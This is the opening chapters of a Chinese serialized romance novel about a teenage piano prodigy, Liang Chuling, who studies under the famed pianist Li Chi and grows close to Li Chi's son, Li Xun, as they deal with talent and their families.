《冰河风》
1. 《钟》
《冰河风》
作者:腰下剑
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——
梁初灵常年练琴的教室窗外有棵奇形怪状的树,结的果子很甜,可是树本身非常招虫子。
想占便宜的人爱护这棵树,厌恶虫子的人想砍了这棵树。
两方立场鲜明,最终这棵树摇摇晃晃得越长越粗,谁都爱它谁都恨它。
它毫不在意,自顾自地长,长他爹的,疯长!
梁初灵,芳龄十六,人生烦恼不多,主要集中在她爸她妈,以及钢琴上。
她爸梁父负责有钱,不太管她。
这份父爱具体表现为:梁初灵的零花钱额度足以让她在小学初中里成为财神爷,进入高中后就不太行,能人志士太多。
至于梁先生本人,常年在各个“外”,在公司、在朋友家、在外地、在各种梁初灵搞不清名目的会所,父女俩照面的次数稀少。
妈女士则负责美,以及偶尔,非常偶尔地,爱爱她。
妈女士的人生信条是“自我至上,女儿次之”。
她的爱,是非要给梁初灵扎个复杂的辫子——有时候能锦上添花被人称赞,但从不能雪中送炭救人一命。
但妈女士自认是个负责任的好妈妈,尤其在发掘女儿天赋这件事上不遗余力。
梁初灵确实有天赋,在钢琴上。是让圈内人提起咂舌、难以置信的魔幻天赋。
五岁就能对着乐谱自己哼哼,音符在她眼里是自带音高的文字。
从六岁到十六岁,她坐在琴凳上的时间很长。六岁才学钢琴,直接进入央音附小,天生就知道该怎么发力。
八岁,手下流淌出的莫扎特,已经能拿捏属于孩童的纯真与宫廷乐章的庄严之间的平衡,两个灵魂在她小小的身体里和谐共处。
九岁与国际钢琴大师同台演出协奏曲,复杂的八度跳跃零失误,能将各个声部层次拆分得一清二楚,用一架钢琴一人分饰多角。
十三岁收到了柯蒂斯音乐学院的录取通知书。柯蒂斯的每个学生都会有对应的赞助商,而梁初灵的赞助商希望她考虑加入美国籍,以便更好地发展。
这事本还有商量的余地,但十三岁的梁初灵,一切谈判都需要监护人在场——她的监护人又无法在场。内心骄傲,觉得自己无法主导的谈判那就毫无必要,索性不去了。
此后的三年,她依旧在音乐圈里制造传说。十五岁在皇后大厅与交响乐团的合作演出,技惊四座,录音在圈子里流传。
妈女士对此非常满意。
她觉得,自己这朵花没能在艺术土壤里绽放,遗憾必须在女儿身上补齐。
于是,在梁初灵第十六个年头,妈女士尽了自认为当妈妈以来最大的一份责任:托了几百层关系,辗转联系上了十几年前的一任男友。
该前男友如今在某个艺术基金会说得上话,而妈女士的目标,是请动一位真正的大佬——李炽。
李炽美国学成归来,国际上拿奖无数,名字响当当。走的路线也和大多数钢琴家不同,先跑去斯坦福读了个不沾边的人文专业,然后才回归音乐,一路杀到顶峰。
不开大班授课,学生掰着手指头数得过来,一年里有半年呆在国外,剩下半年在国内,神龙见首不见尾。
请她教琴,光有钱不行,还得有缘,有份,最好再有点陈年旧情。
前男友被妈女士打动,真给搭上了线——这是一方面。
更重要的一方面是梁初灵本人。李炽也早就听过她的名号,听过她十五岁在皇后大厅那场的录音。
这就有了今天这场重要的视频面试。
——
梁初灵坐在家里琴房,面前是架着她的平板电脑。
屏幕那头,是李炽老师。
李炽看起来很钢琴家,一种有点炸裂的严肃——指的是气质。
她没废话:“弹一首你拿手的。”
梁初灵也没怯场,弹了首李斯特的《钟》曲子技术难度高,她弹得举重若轻,轻盈、流畅,游刃有余。
一曲终了,没人说话的这几秒里,梁初灵甚至有空想,这老师家的装修怎么没什么装饰,但是背后居然有个巨大的主席像。
跟她的人一个调调。
然后,李炽开口,很清晰:“我周三到北京。到时候你来我琴房,再弹一次。”
话说得一板一眼,但梁初灵和她旁边竖着耳朵听的妈女士都明白这事儿大概成了。
李炽的琴房,不是什么阿猫阿狗都能进的。
“好的,李老师。”梁初灵应得乖巧。
“地址我稍后发给你妈妈。”李炽说完,就打算结束通话。
梁初灵对着屏幕挥挥手,说了声“拜拜。”
在画面即将切断时,梁初灵看见视频框的右下角,一个穿着白T恤的身影晃了进来,似乎是要拿什么东西,然后又很快晃了出去。
看不见人,只看见白T,像一阵风,摇摇摆摆,飞快。
视频彻底结束。
旁边的妈女士戏剧性地呼出一口气,拍了拍胸口:“搞定!宝贝,妈妈是不是很厉害?”
梁初灵点点头,客观评价:“还行,主要是我弹得好。”
妈女士不跟她计较,兴致勃勃拉起她:“走,喝东西去!庆祝一下!”
半小时后,梁初灵坐在了一家咖啡馆里,手里捧着一杯塞给她的热巧克力。
初秋的北京,天高云淡,坐在温暖的室内喝这个也应景。
她百无聊赖打量四周。
窗内,妈女士穿得花团锦簇,拿着手机各种角度自拍。
窗外,周一,工作日,北京的路上行色匆匆,大家穿得也像个人。
妈女士很快喝完她那杯拿铁,风风火火拿起包:“你慢慢喝,妈妈约了朋友,司机在外面等你了,喝完自己回家啊!”
说完香风一卷,人就没影。
梁初灵早已习惯,捧着温热的热巧克力,小口小口喝,甜腻感其实有点让她不适,但还是在喝。
正如她不爱吃糖,但每次别人递给她的糖,她也会收下。
看着窗外的人流车流,只在心里盘算着周三去见李炽要穿什么。
两天后,李炽从取餐台端起两个纸杯,一杯递过来。
梁初灵还在这个座位,接过——
还是一杯热巧克力。
李炽自己的那杯没喝,端着一起去了琴房。
“你先坐。”李炽指了指客厅里的一张沙发。
屋内装修极简,没什么装饰,最大的特点就是空间开阔,以及无处不在的隔音材料。
李炽推开一扇门,里面是一个标准的琴房,吸音材料覆盖,正中央是一架钢琴伫立。另一边就是那个巨大的主席像,梁初灵没来由的想鞠个躬。
而钢琴旁边,站着一个人正在看手机。
一个穿着白色长袖T恤和牛仔裤的男孩,看起来跟自己差不多大的样子,个子挺高,身形清瘦,头发看起来软软的。
听到开门声,他转了过来。
门正对着梁初灵的沙发,所以此刻那个男生和梁初灵对视。
梁初灵的眉毛一跳。
这就是视频里那个一晃而过的白T恤吧。
男生不惊讶也不热情,很平常地看了梁初灵一眼,笑了一下,再招招手打个招呼。只是从头到尾人都没走出来,梁初灵也理解,搞艺术的都有点脾气和性格,她不觉得这是优点、也不觉得这是缺点。瑕瑜互见么。
梁初灵猜测他会是未来的同学。
李炽的声音:“梁初灵,进来吧。”
梁初灵走进琴房。那个白T恤男生走出去,和梁初灵擦肩而过,没什么表情——不是冷漠,梁初灵感受到的是平和。
李炽坐在了钢琴旁的一张椅子上,她指了指钢琴:“弹你视频里那首。”
梁初灵在昂贵的钢琴前坐下,跳了几个音,触感一流。
她收敛心神,手指落下。
《钟》的旋律再次流淌。
在这个空间里,没有了网络延迟,梁初灵弹得更投入。
一曲弹完,李炽没鼓掌,也没点评。
看着梁初灵,几秒钟后,才开口:“技巧很熟练,乐感也不错。”
梁初灵眨眨眼,感觉老师有话没说完。
“你在用李斯特思考,而不是用感觉。”李炽点明。
“李寻。”
那个白T恤靠在琴房的门框上。
李炽对梁初灵说:“这是我儿子,李寻。他偶尔会过来,跟你一起上课。”
梁初灵脑子里有弹幕:儿子?李炽老师有儿子?还这么大只?
她一直以为李炽这种级别的艺术家,生活里应该只有钢琴和空气才对。
而且,这儿子看起来不怎么像他妈,气质完全不同。
梁初灵看向李寻,李寻对她点了点头,是笑的,看起来很温柔的样子。
梁初灵的生活中难以得见温柔,于是觉得有意思。
但有意思是一方面,就像是别人递给她的那些糖,会接下,可是她不爱吃糖。
难以得见温柔,但也不代表她需要找寻温柔。
梁初灵此时心里在疯狂吐槽:关系户!
不过她转念一想,自己不也算是关系户吗?
好像也没比人家高贵到哪里去。
她瞬间蔫了,那点不平衡烟消云散。
李炽这种级别的老师,一年只收几个学生,国内正儿八经的估计就她一个。
她能有什么意见?
当然没有。
说得好像她有资格有意见一样。
靠妈没什么,她自己也是。
她只恨自己的妈不是钢琴家,不然她也能少走几年弯路,不然她可能比现在还牛。
只是梁初灵被夸天才太久,太知道音乐这行不公平。
天赋这东西,有就是有,没有就是没有。
有天赋的人学几年就能抵别人几十年,没天赋的学一辈子也就那样。
梁初灵闻名已久,却没听过李寻这号人物。想来水平有限。
自然而然,她认为这位估计弹得不怎么样,纯属近水楼台先得月,被神仙妈妈捎带着教教。
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天赋不按血缘分配。
李炽老师是神仙,神仙的儿子未必就是小神仙。
因此,当李炽对李寻说“你也弹一首”时,梁初灵的期待值已经自动降低,从兜里掏出个奶片吃。
李寻在梁初灵刚离开的琴凳上坐下。弹的是一首巴赫。
梁初灵一开始是抱着“我倒要看看你能弹成什么样”的心态听,听着听着,她心里的漫不经心就收起来。
弹得——
竟然还不错!
没到让她瞠目结舌的水平,但也不必跟她比,那也太为难人。
但真的不错。绝对不能说是“还行。”
触键干净,音符清晰,线条也好,最关键的是乐感很好。音乐里有真诚的叙事感
梁初灵是挑剔的。
她不免在心里感慨:果然啊,基因的力量是强大的!不愧是李炽老师的儿子。就是可惜了,一定是被他那个爹拖了后腿,搞坏了基因!不然以李炽老师的水平,她儿子怎么着也得是个少年天才才对。
还谁都不认识谁呢,梁初灵已经在心里先一步、自作主张替李寻恨上了他的爹,顺便也替李炽恨上了她的夫。
这基因破坏者,真可恶!
李寻弹完没什么表示,从琴凳上站起来。
梁初灵鼓了鼓掌,出于对刚才那段演奏的认可。
也没觉得不好意思——
自己刚才弹得那么牛,他鼓掌了吗?
他没鼓!
那现在自己给他鼓掌,他赚了!
梁初灵觉得自己这是在巴结李炽,希望老师能感受到。
李寻愣了一下,然后又对着她笑了笑。
一句话没说呢,笑几回了都。
梁初灵心里纳闷,心情这么好吗?
李炽没管她俩之间这点小小互动,她看向梁初灵,切入正题:“我知道柯蒂斯是可以突破规则为你保留学籍的。找我不是为了重考吧?”
“不全是。我是想跟着您学钢琴。以及在想是不是可以像您一样,先去读点别的,比如社科人文之类的。那样可能更有意思,对我的职业生涯更有助益?不过也说不好……只是我不想带监护人一起去上课。”
她喜欢李炽,喜欢她更广阔的音乐路径,觉得自己跟她很相似,希望能从她这里学到更多思想和思考方式,所以不想扯理由,想到什么说什么。
李炽点点头,并不意外,也不去多问她为什么这么抵触带监护人一起去上课。李炽是老师,也是母亲,也是女性,也看过梁初灵的履历。
自然也知道她对于这些要求都很清楚,自然也知道她那些奖都很扎实,自然也知道她的野心,自然也知道她的家境、和家庭——这自然也是两个完全不一样的东西。
她对自己的小孩如此放任,自然也不会对别人的小孩横加干涉,她爱护天才,但,天才么,她自己不也是?她见了也太多。天才么,过江之鲫。
李炽:“你可以跟着我学钢琴。至于以后是去柯蒂斯,还是去读别的,你自己决定。你足够走到任何你想去的地方。”
梁初灵也点点头,同样自信:“我知道。”
她确实知道。
她对自己的天赋有着毫不怀疑的认知。
她会走到很高的高度,这是理所当然的事情。
她知道自己站在哪里,也知道自己能走到哪里。
说过了,音乐这条路很不公平,天赋是唯一的通行证,她很早就已拿到。
点头的间隙,她看一眼旁边的李寻。
她心里有点点担忧,李炽老师这话说得这么直白,会不会打击到这位?
毕竟他弹得还行,但跟自己比起来差距还是挺明显。
一点都没有。
李寻脸上毫无气馁之色。
对于李炽给别人规划的光明未来,毫不关心毫不嫉妒。
这就让梁初灵有点好奇也有点意外。
这人不仅心情好,心态也好啊!
课程结束,梁初灵收拾东西准备离开。
李炽突然对李寻说:“你下周那首曲子的第三乐章,强弱对比再明显点,别弹得跟白开水一样。”
李寻点点头说好。
梁初灵心里哦豁一声,看来李炽老师对自己儿子要求也挺严格,不是完全放养。
走到门口,李寻居然也跟出来。
“梁初灵。”他在身后叫她。
梁初灵回头。
李寻慢悠悠地走过来,递给她几张折起来的纸。
“什么?”梁初灵没接,警惕地看着他。挑战书?
李寻把纸片又往前递了递:“我妈给你的。下周要用的谱子,让你先预习。”
梁初灵这才接过,打开一看果然是一份钢琴谱,难度不低。
她对自己视奏的能力是有把握的,但并不代表就可以不用抢跑练习。
她要当的是真天才,而不是只图浮夸。
“谢谢。”她有点尴尬,为自己刚才的内心戏,掏出包小饼干,“你吃吗?”
“不客气。我不吃,你留着自己吃。”李寻说完,转身又晃回了小楼里。
2. 《蝴蝶》
梁初灵正式成了李炽的学生,每周雷打不动地去那栋楼报到三次,周三、周五和周末的任意一天,具体是哪一天需要看李炽的安排。
每周都得完成两首新曲目,含一首古典奏鸣曲一首中国作品。
李炽只看最终呈现,不在乎过程你掉了几层皮。
也不在乎梁初灵要去当什么比赛的评委,提前报备一下就行。梁初灵提出这两年不去赛场当评委专心弹琴时,李炽反而觉得没必要,大型赛还是可以去瞧一瞧的。能够听一听各种人的表达也是有意思的一件事。梁初灵还是少年人,多学多看多听多思,总是有好处的。
唱片公司反复找来,捧着合约想签下梁初灵做世界巡演,被梁初灵和李炽联手拒了。李炽觉得巡演太早会磨掉灵性。梁初灵单纯觉得麻烦。
琴房里还会有小型合奏的机会,来的也都是李炽以前在美的同学或老师,李炽不吝啬自己能给出的所有资源。
她认为这是老师的意义,也认为这才是“培养”二字的意义。
只是,天才的朋友总归不是凡人。性格也奇奇怪怪居多。
一次李炽安排的小型合奏课,来了几个李炽以前的学生。
其中一位有点趾高气昂的师哥,在大家轮流试奏时,对李寻负责的声部指手画脚:“李寻,你这个段落处理得太保守了,跟你妈妈一点不像。你看这里,应该更激情一点,像我这样。”
说着就要去动李寻面前的谱架,想直接在上面标记。
梁初灵正在旁边喝水,见状立刻放下瓶子,用自己的身体隔开了那位师哥和谱架,像护崽的母鸡。
倒也不是想护着李寻,俩人也没多熟。
只是觉得这师哥也太没边界感了!处理的怎么样不是等老师意见吗?你算老几啊!怎么着李炽老师还没说话呢,你倒先当上裁判了?而且怎么李寻一动不动啊!就等着别人划他谱子啊!
梁初灵怒其不争!
“李老师说了,谱面标记要统一用铅笔,而且得经过她确认。你这红笔一划很不专业,回头我们还得擦。”她把自己的铅笔塞到李寻手里,“用我的。”
那位师哥的手停在半空,有点下不来台。
梁初灵已经转过身,认真研究自己那份谱子,嘴里还哼着刚才李寻弹的那个保守段落。
李炽的教学风格和她的人一样,直接,高效,不留情面。对于学生和对儿子一样,都不怎么过多干涉。
所以对于此类插曲毫无感觉。
只对练琴严肃,一个音符处理不到位,能让你反复弹上二十遍,直到再也错不了为止。
导致梁初灵平时每天自己在家里练琴时,脑子里也都是李炽。
她感觉这张脸现在是全世界她最熟悉的一张脸……
梁初灵虽然被叫天才叫惯了,但在李炽这里她不敢懈怠,每次上课都打起一百分的精神。
李寻确实如他妈妈所说,只是偶尔出现。十次课里他能来个三四回。
来了也不怎么说话,自己练练琴看看书,偶尔写写作业。李寻上的是国际高中,方便他跟着李炽偶尔往外跑。学业压力不重,作业也不多。李炽确实想给自己孩子一个自由的生长环境。
李寻性格是真好。梁初灵第一百次感慨。
会自发的擦擦琴打扫卫生,给李炽备好坐垫和护手霜。
某次梁初灵还看到李寻往抽屉里补充卫生巾。
不止是对自己妈妈关照,对梁初灵也是。
发现梁初灵不喝咖啡,下次就会给她带酸奶。
发现梁初灵着急忙慌找指甲剪,痛呼指甲怎么长这么块不是昨天刚剪吗!下回李寻就买了个指甲剪放琴房里,还放了包消毒湿巾。
聊了几次,梁初灵才知道,李寻比自己就大五个月。
因为性格使然,他看起来比实际年龄要成熟,梁初灵则显得更跳脱,这一对比,显得李寻比她大不少似的。
接触多了,梁初灵对李寻的钢琴水平也有了更清晰的认知。
就像她第一次感觉的那样,真的不错。
但也就止步于不错。
缺少一点统治力。
梁初灵并不因此对李寻有什么看法,她总觉得李寻其实挺厉害的,特别适合当老师……经常突如其来的点拨两句,就让她茅塞顿开。偶尔弹奏时的小设计也很出彩。
以他的品味和脑子应该很厉害的啊!应该更厉害的啊!应该超级无敌厉害的啊!
梁初灵又替他恨上了他的爹。
有一次李炽接了个国际长途,就要去阳台接电话。
想起什么,又敲了敲门框的不锈钢处。
“梁初灵,一会儿试一首新曲目,双钢琴版本,你弹第一钢琴声部。”然后看向自己儿子,“李寻,你弹第二声部。合一下。”
梁初灵和李寻对视了一眼。
合奏啊……
梁初灵心里有点嘀咕,让她和李寻合奏,自己会不会被拖后腿啊?
但她没敢说出来。
李寻没什么表示,只是接过他妈妈递过来的另一份谱子,点了点头:“好。”
第一次合练,梁初灵不习惯与人配合,节奏有点赶,差点带跑李寻。
李寻没说什么,只是稳稳保持自己的速度,用触键声音引导她,很快梁初灵就找回了感觉。
她有几个音弹得自己很不满意,有点烦躁,于是翻谱子的时候有点毛手毛脚,差点把谱子扯破。李寻把两份谱子都用文件夹夹好,页角抚平。
梁初灵怔怔,这观察力也太好了吧?
李寻似乎永远都是那样,不紧不慢,观察入微,不抢风头,也不因为梁初灵的急躁或偶尔的傲慢而流露出不满。
弹完后,梁初灵看着李寻,等他反应。
李寻觉得好笑,但还是哄着她,鼓鼓掌,开夸:“弹得真棒,去边上玩儿吧,我把这儿擦一遍。”
下课后李炽又观赏阳台门在接电话,琴房里就剩下梁初灵和李寻。
梁初灵收拾着谱子,李寻在旁边擦完钢琴和琴凳后不知道在找什么东西,空气中弥漫着一种介于熟悉和陌生之间的安静。
梁初灵是个憋不住话的,尤其心里有疑问的时候。
她扭头看向李寻,那个盘桓在她脑子里好久的问题脱口而出:“李寻,你为什么要学钢琴啊?”
李寻没料到她会突然发问,耸耸肩,用一种很随意的口气说:“我常年跟着我妈,听多了就想上手弹弹看。我妈随便教教,我也就随便弹弹,发现我也弹得还行,就这么弹着了。”
听不出对钢琴有多大的热爱,也听不出多少抵触。
这个理由听起来很合理,说服了梁初灵。
梁初灵点点头。
从小泡在音乐环境里,耳濡目染,上手比别人快,觉得还行就继续了,这太正常。
她甚至生出了一点同情,觉得李寻这还行放在普通人家可能被夸上天,但在李炽那种神仙级别的对比下,估计压力不小。
反过来安慰他,语气直率:“其实我感觉你也没往死里练,不然以你的条件,应该弹得比现在更好。”
梁初灵是真心话,而且还有没说出口的真心话,是觉得李寻这水平,肯定是被他那爹拖了后腿,要是他往死里练,说不定还能往上窜窜。
李寻抬眼看了看梁初灵。
她脸上的确没有任何讽刺或者瞧不起的意思。
于是李寻自己没肯定也没否定,只是又笑了笑,没接话。
他想说自己其实也往死里练过一年,憋着一股劲想看看自己也不错。
大概是十一二岁的时候,青春期莫名其妙的倔强冒头。
看着妈妈在国外带学生,那些金发碧眼或者黑皮肤的孩子,技术突飞猛进。
他想证明给李炽看,你儿子也不错,我也不全是靠你随便教教。
结果李炽注意到了,抽空指导了他几次,点出他技术上的问题和音乐理解上的偏差,态度和专业,和她对待任何一个学生没什么两样。
没有为他的努力而动容,也没有看到他进步后的欣慰。
李炽的确,不在乎除了她自己以外的弹钢琴的人。
过早成名,也站上过顶峰,她不会执着于什么。
再者说她又不是男人,对于培养自己的接班人、留个自己的种这种概念,丝毫不感兴趣。
她想要自己儿子独立而完整,不被禁锢,尽量精彩。
当然,这不是李寻平和下来的主要原因。
主要原因是,李寻自己心里清楚,即便他那么拼命练习,他的进步也远没有达到他预期的脱胎换骨。他没能突破那个看不见的天花板。他的手指还是追不上他耳朵里听到的完美声音。
可他有个李炽这样的妈妈。
正因为有这样一个妈妈,李寻对音乐的感知敏锐。
从小浸泡在最好的音乐环境里,耳朵被养得刁钻,听得懂什么叫好,什么叫更好,什么叫顶尖。
也正因为这份敏锐,他比任何人都更早意识到,自己不是那种天才。
不是梁初灵那种天才。
梁初灵弹钢琴非常厉害,他听得出来。
弹李斯特,那不是弹那是玩。
极其轻盈,舒服,流畅,几乎没恶声。
哪怕是一首以艰难狂暴著称的练习曲,在她手下也像鱼入水,如鸟上天,自然、轻松,甚至会给外行一种我上我也行的错觉。
是天才的伪装。
这种举重若轻的效果。
这实在太考验水平。
这叫内行人感到无力。
李寻自己弹得不能说不好。
拿出去,估计那些被称为钢琴天才的人,也能客观地夸一句有点东西。
但李寻骗不过自己。
他弹得很累。
不是身体上的累,是精神上的。
他的审美,被李炽喂养出来的审美,永远走在他的技术前面。
并且,他悲观地预感到,会一直走在前面。
他清楚地知道自己想弹出什么样的声音,但他的手指总是差那么一点意思。
知道什么样的音色是美的,什么样的处理是高级的,但他无法精准地实现脑子里的蓝图。
这种眼高手低的差距,对于敏感的人来说,是一种难堪的折磨。
自从第一次他弹完,梁初灵为他鼓掌之后,每一次梁初灵弹完,只要他在,他也都会为她鼓掌。
这是一种回应。
而此刻,梁初灵问他:你为什么要学钢琴?
作为擅长回应的他,回答了,却不会回问梁初灵:那你呢?你为什么要学钢琴?
天才如同故事里的英雌或者英雄,理应是会受到命运召唤的。
所以李寻都懒得问梁初灵是怎么走上的钢琴之路。
他觉得问出来,自己就像个游戏里被程序员特意安排过来,为了引出主角背景故事的NPC,太滑稽太刻意。
他才不问。
但是,梁初灵自己要开口。
她好像有种分享欲,或者说她根本不觉得这有什么不
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能说的。
她对着李寻,很自然地说道:“我妈的所有前男友都是弹钢琴的,就我爸不是。所以我从小就特别好奇,弹钢琴的男的到底有什么魔力。”
梁初灵伸出食指,强调了一下所有这两个字
李寻挑了下眉,觉得这个开场白相当有冲击力。
梁初灵继续说:“读一年级的时候,我自己就去学校钢琴兴趣班报了名。学了之后发现,还真挺有意思。老师还夸我有天赋。我当时吓死了你知道吗?”
“吓什么?”李寻配合地问。
“我以为我不是我爸亲生的!”梁初灵瞪大眼睛,表情夸张,“我爸他对音乐一窍不通啊!我一个音痴爸,怎么能生出我这种天才女儿?!”
李寻被她的话和表情逗得忍不住,笑出了声,刚才那点沉稳消失无踪。
他看着梁初灵那双眼睛,心里有个声音轻轻说:基因没什么重要的吧。我的妈妈是钢琴家,我的爸爸据说也是搞音乐的,吹萨克斯风,还挺受欢迎。可那又怎么样呢?组合到我这里,也就只剩下这个水平了。
可能是被什么附身,李寻以为自己是在心里说,可他实际上嘴里也吐露了出来。
梁初灵忍不住:“都怪你爸爸。”
没说怪什么,但李寻一下就懂。
梁初灵说完就觉得自己这话有点没过脑子,想打个哈哈糊弄过去,结果李寻罕见的严肃:“不是的,你不要这么说他。他也好,我妈也好,都没道理要为我的理想负责。”
梁初灵以为李寻会无奈笑笑,或者像他平常一样用别的话题带过去,却没想到会听到他亮明这样真诚的态度。
不觉得是被指责,她分得清冒犯和真诚。
李寻的目光越过她,又返回与她相遇:“弹钢琴是我自己的选择。能弹到什么程度是我的天赋、我的努力、我的缘分。把我能弹得更好或者不够好的原因,归结到父母身上,这不公平也没意义。她们有她们的人生。知识无法靠血缘传播,是世界上最公平的事情。同样,我的人生是我自己的。”
李炽是自己生下的这个儿子,也是独自抚养教育他。
她似乎想给他最大的自由,从不强迫他必须练琴,必须走音乐这条路,对他一切的状态都表现出一种放任的态度。
李寻也的确自由。一种因为不被寄予厚望而产生的带着点疏离和悲哀的自由。
他的人生是他自己的,那么,就不该反向怪罪别人的人生。
自由是双向的。
一阵微风吹过,窗外树叶沙沙作响。
梁初灵看着眼前的李寻,忽然觉得他好像更加清晰。
被他的真诚所牵引,不由自主也想要坦诚相待。
她点了点头:“我知道了。是我想当然了。”
李寻看着她显得有点乖顺的样子,又忍不住对她笑,想哄哄她:“不是的,是你很正义。别说我了,你还没说完呢。你是吗?”
“是什么?”梁初灵一时没反应过来。
是什么,当然问的是“你是你爸亲生的吗?”
梁初灵转了一下才反应过来,一拳就捶在了李寻的肩膀上:“你想点好吧!我肯定是啊!我不是难道你是啊!”
李寻猝不及防,痛的揉了揉肩膀,心里又有点想笑。
这不是你自己提起来的吗?
提起来了你自己又生气。
好无理取闹的一个小姑娘。
但他并不觉得讨厌。脸上也没什么恼怒,反而觉得她气鼓鼓的样子,比刚才那副装出来的体贴模样生动。
梁初灵亮完拳头,大概觉得武力威慑已经到位,又立刻恢复了那副大方分享的姿态,仿佛刚才打人的不是她:“我三年级的时候,实在受不了这个心理压力了,就去医院做了亲子鉴定。”
这事儿听起来有点离谱,但放在梁初灵身上又合理。只是……
“你怎么做到的?”李寻忍不住问,“医院不可能随便给小孩做这个吧?”
“当然不能啊。得有大人带着,还得有证件。我逼着我妈带我去。我妈一开始死活不同意,觉得我疯了。”
“那后来?”
“我绝食了三天。也没全绝……偷偷喝了点水。主要是我跟我妈说,要是不带我去,我就再也不弹钢琴了。”
李寻默然,不敢笑,怕被打。
“后来我妈没办法,想尽快解决,就押着我爸我们仨一起去了医院。”梁初灵摊摊手,“结果我就是我爸我妈生的。”
她说到这里,拿起杯子又喝了一口冷掉的巧克力,眼神望向窗外。
脸上流露出一点点怅惘的神情,也不知道在怅惘什么。
嘴唇上面沾了一圈巧克力渍,她自己没察觉。
李寻看到了,没说话,从旁边的纸巾盒里抽了一张纸巾,折叠了一下,放在她手边容易拿到的地方。
梁初灵完全没注意到这个小动作,也就没擦。
李寻看着她丰富的表情和那圈巧克力渍,心里觉得有趣,鬼使神差地接了一句:“我也是我爸我妈生的。”
话音落下,两个人都愣了。
好神的一段话。
梁初灵先绷不住笑了出来。
李寻看着她笑,自己也忍不住跟着笑了起来。
笑完,李寻索性直接拿起那张纸直接递给她,梁初灵拿过来擦了擦嘴。
窗外的阳光洒进来,落在两个笑得东倒西歪的少年人身上。
秋入云山,物情潇洒。大抵如此。
这是她们刚认识的那个秋天。
3. 《革命练习曲》
李寻偶尔会来梁初灵学校找一位教授、也是李炽的朋友拿点资料,有时会顺便在食堂和教授一起吃个午饭。
这天教授吃到一半,又被电话喊走,李寻于是独自坐着安静吃饭。
两个显然是音乐附中风云人物的男生端着盘子过来,语气看似友好实则审视:“嘿,你不是我们学校的吧?经常看见你。跟刘教授很熟?”
另一个没等到李寻回复,生怕自己的嘴不说话就要锈:“听说你是李炽的儿子?那奇怪了,怎么没听过你的名号?
上一个接嘴:“李炽教不出你?那她到底行不行啊哈哈哈哈哈哈。”
另一个也跟着笑。
李寻不太习惯这种社交压力,也不会骂人。一般没想好怎么说他就索性不说。
此刻不说肯定是不行,他正想着怎么礼貌回应呢,一个餐盘哐一声放在他旁边的空位上。
梁初灵端着堆成山的饭菜一屁股坐下,眼皮一撩,目光扫过那两人:“干嘛呢?查户口啊?关你们什么事呢我请问呢?他跟我一起的,有意见吗我请问呢?要问李炽老师怎么样,自己去考她学生啊,背后打听多没劲,怎么不考?是不想吗?”
刚才还带着嬉笑的两个男生一动不敢动,不怀好意的打量碎成了慌张。
“梁师姐。”其中一个反应快点的,立刻用了敬称。
附中里能被称一声师姐的,都是能力和资历被默认顶尖的存在,梁初灵十五岁就在央音开过大师课,而每次每次在附中琴房练琴或者有观摩演出,门外都挤满学生。
“梁师姐好!我们就是跟李寻同学打个招呼。”另一个也赶紧找补。
梁初灵:“跟他道歉。”
两个男生互相看了一眼,都在对方眼里看到完了两个字。得罪梁初灵,以后还想不想听她的大师课?“对不起!李寻同学!”几乎是异口同声,鞠躬的幅度乱七八糟,“我们刚才胡说八道,您别往心里去!”
李寻还是只说了句:“……没事。”
梁初灵这才像是满意:“行了,该干嘛干嘛去。”
两人如蒙大赦,溜得比来时快多了。
梁初灵转头就把餐盘里的青椒夹到李寻盘子里:“尝尝这个,我们食堂唯一能吃的。下次有人烦你,你就说等梁初灵,他们就不敢惹你了。”
说完继续夹。
李寻看着盘子里的青椒愣半天,不太习惯这种关照,也不知道该不该吃。
只能说一句:“不用夹给我,你自己吃吧。”
梁初灵把青椒全部夹完,说:“我不爱吃青椒。我们食堂浪费食物扣学分。”
李寻:……
梁初灵没管他,很快吃完,然后一路送他离开了附中。
晚上放学,梁初灵上了司机的车。
上车就把眼睛闭上开始睡觉,她就是能抓住一切时机开始睡觉,让人羡慕。
司机停在家门口。
天还没黑,但别墅依旧灯火通明,一种饱满的空旷。
张阿姨从厨房:“初灵回来啦?饭马上好。”
“谢谢张姨。”梁初灵换了鞋。
餐厅长桌上,摆着四菜一汤,碗筷只有一副。
“我爸呢?”她坐下来,拿起筷子随口问。
张阿姨一边擦着灶台,一边回答:“先生下午来过电话,说有个应酬,不回来吃。”
梁初灵没什么意外。重要应酬,永远都有重要应酬。
梁大老板的钱包和他的时间成反比,钱包越鼓,在家露面的时间就越少。
她默默地吃着饭,张姨的手艺没得说。
手机响了,梁初灵接起来视频通话,继续扒饭。
“宝贝儿!下课啦?”妈女士的声音雀跃,“妈妈在巴黎呢!这边正在办展,哎呀好多好看的新款,我给你挑了几件。”
“谢谢妈。”梁初灵嚼嚼嚼。
“李炽老师那边怎么样?没骂你吧?我跟你说,她那个人就是要求高,你忍着点,跟着她能学到真本事。”
“我知道,她没骂我。就是练琴。”虾的须须卡牙了,梁初灵对着摄像头开始剔牙。
“那就好那就好!妈妈给你找的老师能差吗!我跟你说,我今天看到一条裙子,简直写了我的名字。就是颜色有点犹豫,蓝色还是红色?你觉得呢?”
梁初灵说:“都行。”
“哎呀你给点意见嘛!算了算了,问你也是白问,你个小孩子懂什么审美。我两件都买了!对了,你吃饭没?”
“正在吃。”梁初灵剔完牙,心里无语,寻思这不是开着视频呢吗,好歹看一眼呢,看一眼不就知道我在没在吃饭了?
妈女士全程驾着手机忙忙碌碌在地上无数个包装盒里翻找。
“吃的什么呀?别老吃那些垃圾食品,让阿姨给你做点有营养的。”
“阿姨做了大虾。”
“虾好啊!补充蛋白质!你多吃点!妈妈这边信号不太好……”
妈女士兴致勃勃一边翻找一边随机试几件衣服一边分享着购物经和旅途见闻,偶尔穿插一两句模板问询。
梁初灵嗯嗯啊啊应着,心里那点因为合奏带来的情绪,被烦躁取代。
挂了电话,饭也吃完了。
张姨收拾了碗筷,客厅又只剩下她一个人。
梁初灵蹬蹬蹬跑上楼,钻进琴房。
这间琴房比李炽那个专业琴房小一点,但隔音效果同样好,是她爹用钱堆出来的。
她弹李斯特一首技巧艰深、情感浓烈到几乎是癫的曲子。
手指跑动,力度大,像是在搏斗。
但弹着弹着,脑子里却冒出李寻那双平静的眼睛,还有他说话时慢悠悠的语调。
“我妈随便教教,我也弹得还行。”
“我也是我爸我妈生的。”
一份置身事外的温和,有点刺眼。
白键看起来像他的手指,黑键看起来像他的眼睛。交织在一起,却一点都不像他,反而更像她。
梁初灵停下手指。
烦死了!
与此同时,城市的另一角。
李寻和李炽坐在餐桌旁吃外卖。
